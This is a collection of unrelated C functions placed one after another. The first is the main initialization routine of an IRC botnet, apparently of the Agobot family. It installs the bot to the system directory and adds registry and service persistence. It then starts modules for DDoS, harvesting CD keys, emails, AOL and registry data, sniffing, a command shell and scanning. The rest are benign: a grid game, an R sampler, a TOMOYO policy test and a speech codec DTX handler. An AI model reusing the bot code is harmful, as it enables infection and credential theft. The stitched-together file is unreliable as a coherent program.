m_cInstaller.CopyToSysDir(m_cBot.bot_filename.sValue); m_cInstaller.Install(); #ifdef WIN32 if(m_cBot.as_enabled.bValue) { #ifdef DBGCONSOLE m_cConsDbg.Log(5, "Adding registry autostart...\n"); #endif // DBGCONSOLE m_cInstaller.RegStartAdd(m_cBot.as_valname.sValue, m_cBot.bot_filename.sValue); } // ServiceDel(m_cBot.as_service_name.sValue); if(m_cBot.as_service.bValue && !m_cInstaller.IsInstalled(m_cBot.as_service_name.sValue)) { #ifdef DBGCONSOLE m_cConsDbg.Log(5, "Adding service...\n"); #endif // DBGCONSOLE m_cInstaller.ServiceAdd(m_cBot.as_service_name.sValue, m_cBot.bot_filename.sValue); } if(m_cBot.as_service.bValue && !m_cCmdLine.m_cConfig.bService) { #ifdef DBGCONSOLE m_cConsDbg.Log(5, "Starting service...\n"); #endif // DBGCONSOLE if(m_cInstaller.ServiceStart(m_cBot.as_service_name.sValue)) { exit(0); } } #endif // WIN32 #ifdef DBGCONSOLE m_cConsDbg.Log(7, "Initializing RNG...\n"); #endif // DBGCONSOLE // Initialize random number generator from system time init_random(); // Receive a random nickname m_sUserName=RndNick(m_cBot.si_nickprefix.sValue.CStr()); // Receive a random service name for NBSCanner m_sTmpSvcName=CompleteRandom().CStr(); // Start the startup thread m_cStartupThread.Start(false); #ifdef DBGCONSOLE m_cConsDbg.Log(5, "Initializing subsystems...\n"); #endif // DBGCONSOLE // Initialize subsystems m_cIRC.Init(); m_cDownloader.Init(); m_cSpeedTest.Init(); m_cDDOS.Init(); m_cRedirect.Init(); m_cRSLControl.Init(); m_cProcessControl.Init(); m_cInstaller.Init(); m_cHarvest_CDKeys.Init(); m_cLogic.Init(); #ifdef _WIN32 m_cHarvest_EMails.Init(); m_cHarvest_AOL.Init(); m_cHarvest_Registry.Init(); m_cPluginLoader.Init(); #endif // _WIN32 #ifdef _WIN32 if(g_pMainCtrl->m_cBot.bot_cmdshell.bValue) m_cCmdShell.Init(); #endif // _WIN32 // Execute the autostart in config.cpp m_cBot.Autostart(); // Set server CVars g_pMainCtrl->m_cCVar.SetCVar(&g_pMainCtrl->m_cBot.si_chanpass, g_pMainCtrl->m_cIRC.m_vServers.at(0)->si_chanpass->sValue.CStr()); g_pMainCtrl->m_cCVar.SetCVar(&g_pMainCtrl->m_cBot.si_mainchan, g_pMainCtrl->m_cIRC.m_vServers.at(0)->si_mainchan->sValue.CStr()); g_pMainCtrl->m_cCVar.SetCVar(&g_pMainCtrl->m_cBot.si_nickprefix, g_pMainCtrl->m_cIRC.m_vServers.at(0)->si_nickprefix->sValue.CStr()); g_pMainCtrl->m_cCVar.SetCVar(&g_pMainCtrl->m_cBot.si_port, g_pMainCtrl->m_cIRC.m_vServers.at(0)->si_port->sValue.CStr()); g_pMainCtrl->m_cCVar.SetCVar(&g_pMainCtrl->m_cBot.si_server, g_pMainCtrl->m_cIRC.m_vServers.at(0)->si_server->sValue.CStr()); g_pMainCtrl->m_cCVar.SetCVar(&g_pMainCtrl->m_cBot.si_servpass, g_pMainCtrl->m_cIRC.m_vServers.at(0)->si_servpass->sValue.CStr()); g_pMainCtrl->m_cCVar.SetCVar(&g_pMainCtrl->m_cBot.si_usessl, g_pMainCtrl->m_cIRC.m_vServers.at(0)->si_usessl->sValue.CStr()); CString sRndNick=RndNick(m_cBot.si_nickprefix.sValue.CStr()); m_sUserName.Format("%s", sRndNick.Mid(0, 32).CStr()); #ifdef DBGCONSOLE m_cConsDbg.Log(5, "Starting threads...\n"); #endif // DBGCONSOLE // Start CIRC as a non-dynamic, auto-restarting and realtime thread m_cIRC.Start(false, true, true); m_cSendFile.m_iListenPort=g_pMainCtrl->m_cBot.bot_ftrans_port.iValue; m_cSendFile.m_pfnAcceptHandler=&CSendFileAccept; #ifdef DBGCONSOLE m_cSendFile.m_sFriendlyName.Assign("SendFile"); #endif // DBGCONSOLE m_cSendFile.Start(false, true); m_cSendFileFTP.m_iListenPort=g_pMainCtrl->m_cBot.bot_ftrans_port_ftp.iValue; m_cSendFileFTP.m_pfnAcceptHandler=&CSendFileFTPAccept; #ifdef DBGCONSOLE m_cSendFileFTP.m_sFriendlyName.Assign("FTP"); #endif // DBGCONSOLE m_cSendFileFTP.Start(false, true); m_cSniffer.Start(false, true); // Initialize scanner after autostart/thread initialization to be able to use CIRC m_cScanner.Init(); // Start the main loop #ifdef DBGCONSOLE m_cConsDbg.Log(7, "Starting the main loop...\n"); #endif // DBGCONSOLE m_cBot.RunScript(SCRIPT_ONSTART); int iRetVal=MainCtrl(); m_bRunning=false; // Deactivate sockets g_bSocketsRunning=false; m_cSniffer.Join(); m_cSendFileFTP.Join(); m_cSendFile.Join(); m_cIRC.Join(); m_cStartupThread.Join(); #ifdef _WIN32 m_cService.Join(); #endif // _WIN32 #ifdef DBGCONSOLE m_cConsDbg.Log(7, "Terminated the main loop...\n"); #endif // DBGCONSOLE // Deactivate debugging console if(m_cCmdLine.m_cConfig.bDebug) { #ifdef WIN32 // system("pause"); #endif // WIN32 m_cConsDbg.DeInit(); } return iRetVal; }
int main() { int i,j; int brick_num; srand(time(NULL)); int p_test,direc; while(1) { printf("map size = ? * ?"); scanf("%d",&n); /*printf("brick number = ?"); scanf("%d",&brick_num); shuff(); for(i=0;i<brick_num;i++) map[brick[i]/n][brick[i]%n] = 1; */ quest(); for(i=0;i<n;i++) { for(j=0;j<n;j++) printf("%d ",map[i][j]); printf("\n"); } printf("choose a start point(0~%d): ",n*n-1); scanf("%d",&p_now); p_test = test(); while(p_test != 0) { printf("choose a direction (0=left, 1=up, 2=right, 3=down) :?\n"); printf("you only have:\n"); if(p_test%2 == 1) printf("left\n"); p_test/=2; if(p_test%2 == 1) printf("up\n"); p_test/=2; if(p_test%2 == 1) printf("right\n"); p_test/=2; if(p_test%2 == 1) printf("down\n"); scanf("%d",&direc); run(direc); printf("p_now = %d\n",p_now); for(i=0;i<n;i++) { for(j=0;j<n;j++) { if(i == p_now/n && j == p_now%n) printf("%3c ",'p'); else printf("%3d ",map[i][j]); } printf("\n"); } p_test=test(); printf("p_test = %d\n",p_test); } map[p_now/n][p_now%n]=1; int die_flag =0; for(i=0;i<n;i++) for(j=0;j<n;j++) if(map[i][j]==0) die_flag=1; if(die_flag==0) printf("you win!!\n"); else printf("you lose!!\n"); printf("final map:\n"); for(i=0;i<n;i++) { for(j=0;j<n;j++) { if(i == p_now/n && j == p_now%n) printf("%3c ",'p'); else printf("%3d ",map[i][j]); } printf("\n"); } } }
SEXP arms (SEXP bounds, SEXP myldens, SEXP yprev, SEXP size, SEXP rho) { /* to perform derivative-free adaptive rejection sampling with metropolis step */ /* bounds : boundaries of the support of the density */ /* myldens : R function to evaluate log density */ /* yprev : previous value from markov chain */ /* size : number of sampled values to be obtained */ /* rho : R environment in which the logdensity is evaluated */ double xl, xr, xinit[NINIT], convex=1.0; int i, npoint=100, nsamp, neval, err; SEXP ysamp; /* sampled values */ ENVELOPE *env; /* rejection envelope */ POINT pwork; /* a working point, not yet incorporated in envelope */ int msamp=0; /* the number of x-values currently sampled */ METROPOLIS *metrop; /* to hold bits for metropolis step */ nsamp = INTEGER(size)[0]; xl = REAL(bounds)[0]; xr = REAL(bounds)[1]; for (i=0; i<NINIT; i++) xinit[i] = xl + (i + 1.0) * (xr - xl)/(NINIT + 1.0); PROTECT( ysamp = NEW_NUMERIC(nsamp) ); /* set up space required for envelope */ /* env = (ENVELOPE *)malloc(sizeof(ENVELOPE)); */ env = (ENVELOPE *)Calloc(1, ENVELOPE); if(env == NULL){ /* insufficient space */ error("insufficient space"); } /* start setting up metropolis struct */ /* metrop = (METROPOLIS *)malloc(sizeof(METROPOLIS)); */ metrop = (METROPOLIS *)Calloc(1, METROPOLIS); if(metrop == NULL){ /* insufficient space */ error("insufficient space"); } metrop->on = 1; /* set up initial envelope */ err = initial(xinit,NINIT,xl,xr,npoint,myldens,env,&convex, &neval,metrop,rho); if(err) error("Can set err..."); /* finish setting up metropolis struct (can only do this after */ /* setting up env) */ if(metrop->on){ if((REAL(yprev)[0] < xl) || (REAL(yprev)[0] > xr)){ /* previous markov chain iterate out of range */ error("previous markov chain iterate out of range"); } metrop->xprev = REAL(yprev)[0]; metrop->yprev = perfunc(myldens,env,REAL(yprev)[0],rho); } /* now do adaptive rejection */ do { /* sample a new point */ sample (env,&pwork); /* perform rejection (and perhaps metropolis) tests */ i = test(env,&pwork,myldens,metrop,rho); if(i == 1){ /* point accepted */ REAL(ysamp)[msamp++] = pwork.x; } else if (i != 0) { /* envelope error - violation without metropolis */ error("envelope error - violation without metropolis"); } } while (msamp < nsamp); /* nsamp points now sampled */ /* free space */ Free(env->p); Free(env); Free(metrop); UNPROTECT(1); return ysamp; }
int main(int argc, char *argv[]) { static char self_domain[4096]; ccs_test_pre_init(); if (access(proc_policy_domain_policy, F_OK)) { fprintf(stderr, "You can't use this program for this kernel." "\n"); return 1; } fp_level = fopen(proc_policy_profile, "w"); if (!fp_level) { fprintf(stderr, "Can't open %s\n", proc_policy_profile); exit(1); } fprintf(fp_level, "255-COMMENT=Test\n255-TOMOYO_VERBOSE=disabled\n" "255-MAC_FOR_FILE=disabled\n255-MAX_ACCEPT_ENTRY=2048\n"); fflush(fp_level); fp_domain = fopen(proc_policy_domain_policy, "w"); if (!fp_domain) { fprintf(stderr, "Can't open %s\n", proc_policy_domain_policy); exit(1); } fp_exception = fopen(proc_policy_exception_policy, "w"); if (!fp_exception) { fprintf(stderr, "Can't open %s\n", proc_policy_exception_policy); exit(1); } { FILE *fp = fopen(proc_policy_self_domain, "r"); if (!fp) { fprintf(stderr, "Can't open %s\n", proc_policy_self_domain); exit(1); } memset(self_domain, 0, sizeof(self_domain)); fgets(self_domain, sizeof(self_domain) - 1, fp); fclose(fp); } { FILE *fp = fopen(proc_policy_domain_status, "w"); if (!fp) { fprintf(stderr, "Can't open %s\n", proc_policy_domain_status); exit(1); } fprintf(fp, "255 %s\n", self_domain); fclose(fp); } fprintf(fp_domain, "%s\n", self_domain); { int append_loop; for (append_loop = 0; append_loop < 2; append_loop++) { int truncate_loop; for (truncate_loop = 0; truncate_loop < 2; truncate_loop++) { int create_loop; for (create_loop = 0; create_loop < 3; create_loop++) { int rw_loop; for (rw_loop = 0; rw_loop < 4; rw_loop++) test(rw_loop, truncate_loop, append_loop, create_loop); } } } } fprintf(fp_level, "255-MAC_FOR_FILE=disabled\n"); fflush(fp_level); printf("Done\n"); return 0; }
enum DTXStateType rx_dtx_handler( dtx_decState *st, /* i/o : State struct */ enum RXFrameType frame_type /* i : Frame type */ ) { enum DTXStateType newState; enum DTXStateType encState; /* DTX if SID frame or previously in DTX{_MUTE} and (NO_RX OR BAD_SPEECH) */ test(); test(); test(); test(); test(); test(); test(); test(); if ((sub(frame_type, RX_SID_FIRST) == 0) || (sub(frame_type, RX_SID_UPDATE) == 0) || (sub(frame_type, RX_SID_BAD) == 0) || (((sub(st->dtxGlobalState, DTX) == 0) || (sub(st->dtxGlobalState, DTX_MUTE) == 0)) && ((sub(frame_type, RX_NO_DATA) == 0) || (sub(frame_type, RX_SPEECH_BAD) == 0) || (sub(frame_type, RX_ONSET) == 0)))) { newState = DTX; move16(); /* stay in mute for these input types */ test(); test(); test(); test(); test(); if ((sub(st->dtxGlobalState, DTX_MUTE) == 0) && ((sub(frame_type, RX_SID_BAD) == 0) || (sub(frame_type, RX_SID_FIRST) == 0) || (sub(frame_type, RX_ONSET) == 0) || (sub(frame_type, RX_NO_DATA) == 0))) { newState = DTX_MUTE; move16(); } /* evaluate if noise parameters are too old */ /* since_last_sid is reset when CN parameters have been updated */ st->since_last_sid = add(st->since_last_sid, 1); move16(); /* no update of sid parameters in DTX for a long while */ /* Due to the delayed update of st->since_last_sid counter SID_UPDATE frames need to be handled separately to avoid entering DTX_MUTE for late SID_UPDATE frames */ test(); test(); logic16(); if((sub(frame_type, RX_SID_UPDATE) != 0) && (sub(st->since_last_sid, DTX_MAX_EMPTY_THRESH) > 0)) { newState = DTX_MUTE; move16(); } } else { newState = SPEECH; move16(); st->since_last_sid = 0; move16(); } /* reset the decAnaElapsed Counter when receiving CNI data the first time, to robustify counter missmatch after handover this might delay the bwd CNI analysis in the new decoder slightly. */ test(); test(); if ((st->data_updated == 0) && (sub(frame_type, RX_SID_UPDATE) == 0)) { st->decAnaElapsedCount = 0; move16(); } /* update the SPE-SPD DTX hangover synchronization */ /* to know when SPE has added dtx hangover */ st->decAnaElapsedCount = add(st->decAnaElapsedCount, 1); move16(); st->dtxHangoverAdded = 0; move16(); test(); test(); test(); test(); test(); if ((sub(frame_type, RX_SID_FIRST) == 0) || (sub(frame_type, RX_SID_UPDATE) == 0) || (sub(frame_type, RX_SID_BAD) == 0) || (sub(frame_type, RX_ONSET) == 0) || (sub(frame_type, RX_NO_DATA) == 0)) { encState = DTX; move16(); /* In frame errors simulations RX_NO_DATA may occasionally mean that a speech packet was probably sent by the encoder, the assumed _encoder_ state should be SPEECH in such cases. */ test(); logic16(); if((sub(frame_type, RX_NO_DATA) == 0) && (sub(newState, SPEECH) == 0)) { encState = SPEECH; move16(); } /* Note on RX_ONSET operation differing from RX_NO_DATA operation: If a RX_ONSET is received in the decoder (by "accident") it is still most likely that the encoder state for the "ONSET frame" was DTX. */ } else { encState = SPEECH; move16(); } test(); if (sub(encState, SPEECH) == 0) { st->dtxHangoverCount = DTX_HANG_CONST; move16(); } else { test(); if (sub(st->decAnaElapsedCount, DTX_ELAPSED_FRAMES_THRESH) > 0) { st->dtxHangoverAdded = 1; move16(); st->decAnaElapsedCount = 0; move16(); st->dtxHangoverCount = 0; move16(); } else if (test(), st->dtxHangoverCount == 0) { st->decAnaElapsedCount = 0; move16(); } else { st->dtxHangoverCount = sub(st->dtxHangoverCount, 1); move16(); } } if (sub(newState, SPEECH) != 0) { /* DTX or DTX_MUTE * CN data is not in a first SID, first SIDs are marked as SID_BAD * but will do backwards analysis if a hangover period has been added * according to the state machine above */ st->sid_frame = 0; move16(); st->valid_data = 0; move16(); test(); if (sub(frame_type, RX_SID_FIRST) == 0) { st->sid_frame = 1; move16(); } else if (test(), sub(frame_type, RX_SID_UPDATE) == 0) { st->sid_frame = 1; move16(); st->valid_data = 1; move16(); } else if (test(), sub(frame_type, RX_SID_BAD) == 0) { st->sid_frame = 1; move16(); st->dtxHangoverAdded = 0; /* use old data */ move16(); } } return newState; /* newState is used by both SPEECH AND DTX synthesis routines */ }